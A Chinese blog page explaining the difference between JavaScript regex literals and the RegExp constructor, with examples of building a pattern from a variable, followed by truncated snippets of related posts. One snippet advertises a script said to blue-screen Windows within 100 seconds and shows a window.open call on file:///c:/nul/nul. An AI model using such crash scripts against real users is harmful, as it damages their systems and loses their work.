JavaScript 正则表达式两种使用方式的区别
关于
JavaScript
正则表达对象的使用,其参考手册介绍如下:
语法 1
re = /
pattern
/
[flags
]
语法 2
re = new RegExp("
pattern
",
["
flags
"
])
参数
re
必选项。将要赋值为正则表达式模式的变量名。
Pattern
必选项。要使用的正则表达式模式。如果使用语法 1
,用 "/"
字符分隔模式。如果用语法 2
,用引号将模式引起来。
flags
可选项。如果使用语法 2
要用引号将 flag
引起来。标志可以组合使用,可用的有:
g
(全文查找出现的所有 pattern
)
i
(忽略大小写)
m
(多行查找)
示例:去掉字符串
”aaa/bb/cc”
中非“
/
”字符
语法
1
使用方式:
Var srcStr = “aaa/bb/cc”;
srcStr.replace(/[^/]*/g,"");
语法
2
使用方式:
var re = new
RegExp("[^/]","g");
var srcStr = srcStr.replace(re,"");
由于
//
方式,正则是一个整体,无法加入变量。所以如果我们需加入变量只能用语法
2
的方式。具体使用如下:
Var mSplitString = “/”;
var re = new
RegExp("[^"+mSplitString+"]","g");
var str = srcStr.replace(re,"");
相关文档:
我们都知道java、c#、vb等语言都有sleep暂停的函数,而JavaScript脚本没有类似的功能。
下面就是我的实现的方法:
<mce:script type="text/javascript"><!--
function test()
{
var s="javascript--暂停函数";
setTimeout(
function(){
eval(sleep(test)); //执行return之后的代码,也就是&ldq ......
每一项都是js中的小技巧,但十分的实用!
1.document.write(""); 输出语句
2.JS中的注释为//
3.传统的HTML文档顺序是:document->html->(head,body)
4.一个浏览器窗口中的DOM顺序是:window->(navigator,screen,history,location,document)
5.得到表单中元素的名称和值:document.getElementById("表单中元素的 ......
js的Function对象在调用过程中具有一个arguoments属性,它是由脚本解释器创建的,这也是创建arguments对象唯一途径。arguments对象可以看做是一个Array对象,它具有length属性,可以通过序号访问每一个参数。而且,通过arguments 的callee属性可以获取对只在执行的Function对象的引用,如下 ......
【!声明:此程序只供研究使用,如用做不正当用途后果自负】
100秒内蓝屏死机的Javascript脚本源代码
引自:http://www.webdeveloping.cn/blog/?action=show&id=78
<html>
<head>
<script LANGUAGE="javascript">
function leave() {
window.open(file:///c:/nul/nul,,toolbar=no,menub ......
function getCookies(name)
{
var arr = document.cookie.match(new RegExp("(^| )"+name+"=([^;]*)(;|$)"));
if(arr != null) return unescape(arr[2]); return '';
}
function setCookie(name, value, expires, path, domain, secure)
{
var liveDate = new Date();
expires = l ......